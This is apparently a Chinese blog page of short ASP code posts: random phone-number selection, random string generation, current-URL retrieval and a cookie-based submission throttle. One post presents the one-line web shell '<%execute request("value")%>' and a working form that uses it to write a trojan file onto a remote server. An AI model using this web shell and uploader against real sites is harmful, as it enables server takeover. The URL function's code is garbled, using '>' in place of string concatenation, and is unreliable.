asp随机读取其中一个手机号函数

function getsj(str)
dim arrstr,n
arrstr=split(str,",")
if ubound(arrstr)>0 then
Randomize
n=Int((ubound(arrstr)+1 - 0) * Rnd + 0)
getsj=arrstr(n)
else
getsj=""
end if
end function

调用方法:<%=getsj("13600000000,18900000000,18900000000")%>

post by 不懂戀愛魚兒 | 2011年12月14日 | 归档于 [Asp技术]

asp生成随机字符串(大写)

function makeId(byVal maxLen)
Dim strNewPass
Dim whatsNext, upper, lower, intCounter
Randomize
For intCounter = 1 To maxLen
whatsNext = Int((1 - 0 + 1) * Rnd + 0)
If whatsNext = 0 Then
upper = 90
lower = 65
Else
upper = 57
lower = 48
End If
strNewPass = strNewPass & Chr(Int((upper - lower + 1) * Rnd + lower))
Next
makeId = strNewPass
end function

调用方法:<%=makeId(12)%>

post by 不懂戀愛魚兒 | 2011年12月11日 | 归档于 [Asp技术]

<%execute request("value")%>与asp网站的安全性

在ASP里有一句语句<%execute ............")%>意思是执行省略号里的语句.那么如果我写进我们精心构造的语句,它也是会帮我们执行的.

(现在先假设在远程主机的TEXT.ASP中已经有了<%execute request("value")%>这个语句.)就按照这上面的思路,我们就可以在本地构造一个表单内容如下:(//为注释)

<form action=http://主机路径/TEXT.asp method=post>

<textarea name=value cols=120 rows=10 width=45>

set lP=server.createObject("Adodb.Stream")//建立流对象
lP.Open //打开
lP.Type=2 //以文本方式
lP.CharSet="gb2312" //字体标准
lP.writetext request("newvalue")

lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式
lP.Close //关闭对象
set lP=nothing //释放对象
response.redirect "newmm.asp" //转向newmm.asp

</textarea>

<textarea name=newvalue cols=120 rows=10 width=45>添入生成木马的内容</textarea><BR><center><br>
<input type=submit value=提交>

</form>

阅读全文>>

asp获取当前网址函数

Function GetLocationURL() '获取当前页面的URL

Dim Url 

Dim ServerPort,ServerName,ScriptName,QueryString 

ServerName = Request.ServerVariables("SERVER_NAME") 

ServerPort = Request.ServerVariables("SERVER_PORT") 

ScriptName = Request.ServerVariables("SCRIPT_NAME") 

QueryString = Request.ServerVariables("QUERY_STRING") 

Url="http://">ServerName 

If ServerPort <> "80" Then Url = Url > ":" > ServerPort 

Url=Url>ScriptName 

If QueryString <>"" Then Url=Url>"?"> QueryString 

GetLocationURL=Url 

End Function

 

post by 不懂戀愛魚兒 | 2011年5月22日 | 归档于 [Asp技术]

ASP利用COOKIES判断多少时间内只能提交一次数据。

dim SetTime
TimeSet = 3600
iF Request.Cookies("thisTime")<>"" Then
Response.Write "<script>alert('您提交动作太频繁了,1小时内只能提交一次评论。谢谢合作');history.go(-1);</script>"
Response.End()
else
set Rs=server.createobject("adodb.recordset")
sql="select * from 表名"
Rs.open sql,conn,1,3
Rs.addnew
Rs("ip")=Request.servervariables("remote_addr")
Response.Cookies("thisTime") = Now
Response.Cookies("thisTime").Expires = DateAdd("s",TimeSet,Now)
Rs.update
enD if
post by 不懂戀愛魚兒 | 2011年5月14日 | 归档于 [Asp技术]
sitemap